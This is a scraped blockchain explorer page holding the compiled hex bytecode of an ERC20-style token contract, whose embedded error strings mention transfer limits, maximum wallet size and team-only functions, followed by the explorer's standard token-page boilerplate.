e565b91505092915050565b5f6040820190506128905f830185612521565b61289d6020830184612521565b9392505050565b5f819050919050565b5f819050919050565b5f6128d06128cb6128c6846128a4565b6128ad565b612130565b9050919050565b6128e0816128b6565b82525050565b5f60c0820190506128f95f830189612521565b61290660208301886121d4565b61291360408301876128d7565b61292060608301866128d7565b61292d6080830185612521565b61293a60a08301846121d4565b979650505050505050565b5f8151905061295381612139565b92915050565b5f805f606084860312156129705761296f6120ce565b5b5f61297d86828701612945565b935050602061298e86828701612945565b925050604061299f86828701612945565b9150509250925092565b5f6040820190506129bc5f830185612521565b6129c960208301846121d4565b9392505050565b6129d9816121a1565b81146129e3575f80fd5b50565b5f815190506129f4816129d0565b92915050565b5f60208284031215612a0f57612a0e6120ce565b5b5f612a1c848285016129e6565b91505092915050565b7f4e6f74205465616d204d656d62657200000000000000000000000000000000005f82015250565b5f612a59600f8361203f565b9150612a6482612a25565b602082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ae760248361203f565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b7560228361203f565b9150612b8082612b1b565b604082019050919050565b5f6020820190508181035f830152612ba281612b69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c0360258361203f565b9150612c0e82612ba9565b604082019050919050565b5f6020820190508181035f830152612c3081612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c9160238361203f565b9150612c9c82612c37565b604082019050919050565b5f6020820190508181035f830152612cbe81612c85565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d1f60298361203f565b9150612d2a82612cc5565b604082019050919050565b5f6020820190508181035f830152612d4c81612d13565b9050919050565b7f4578636565647320746865205f6d6178416d6f756e7450657254582e000000005f82015250565b5f612d87601c8361203f565b9150612d9282612d53565b602082019050919050565b5f6020820190508181035f830152612db481612d7b565b9050919050565b5f612dc582612130565b9150612dd083612130565b9250828201905080821115612de857612de7612587565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612e22601a8361203f565b9150612e2d82612dee565b602082019050919050565b5f6020820190508181035f830152612e4f81612e16565b9050919050565b5f612e6082612130565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e9257612e91612587565b5b600182019050919050565b5f612ea782612130565b9150612eb283612130565b9250828203905081811115612eca57612ec9612587565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f3482612130565b9150612f3f83612130565b925082612f4f57612f4e612efd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb460218361203f565b9150612fbf82612f5a565b604082019050919050565b5f6020820190508181035f830152612fe181612fa8565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61301a816120f5565b82525050565b5f61302b8383613011565b60208301905092915050565b5f602082019050919050565b5f61304d82612fe8565b6130578185612ff2565b935061306283613002565b805f5b838110156130925781516130798882613020565b975061308483613037565b925050600181019050613065565b5085935050505092915050565b5f60a0820190506130b25f8301886121d4565b6130bf60208301876128d7565b81810360408301526130d18186613043565b90506130e06060830185612521565b6130ed60808301846121d4565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61312b601b8361203f565b9150613136826130f7565b602082019050919050565b5f6020820190508181035f8301526131588161311f565b9050919050565b7f6e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f613193600e8361203f565b915061319e8261315f565b602082019050919050565b5f6020820190508181035f8301526131c081613187565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043f77f2ea48f6e25c5666cb43648ad7830d4d9cf596ec0ae47ea4cf0859dc9de64736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)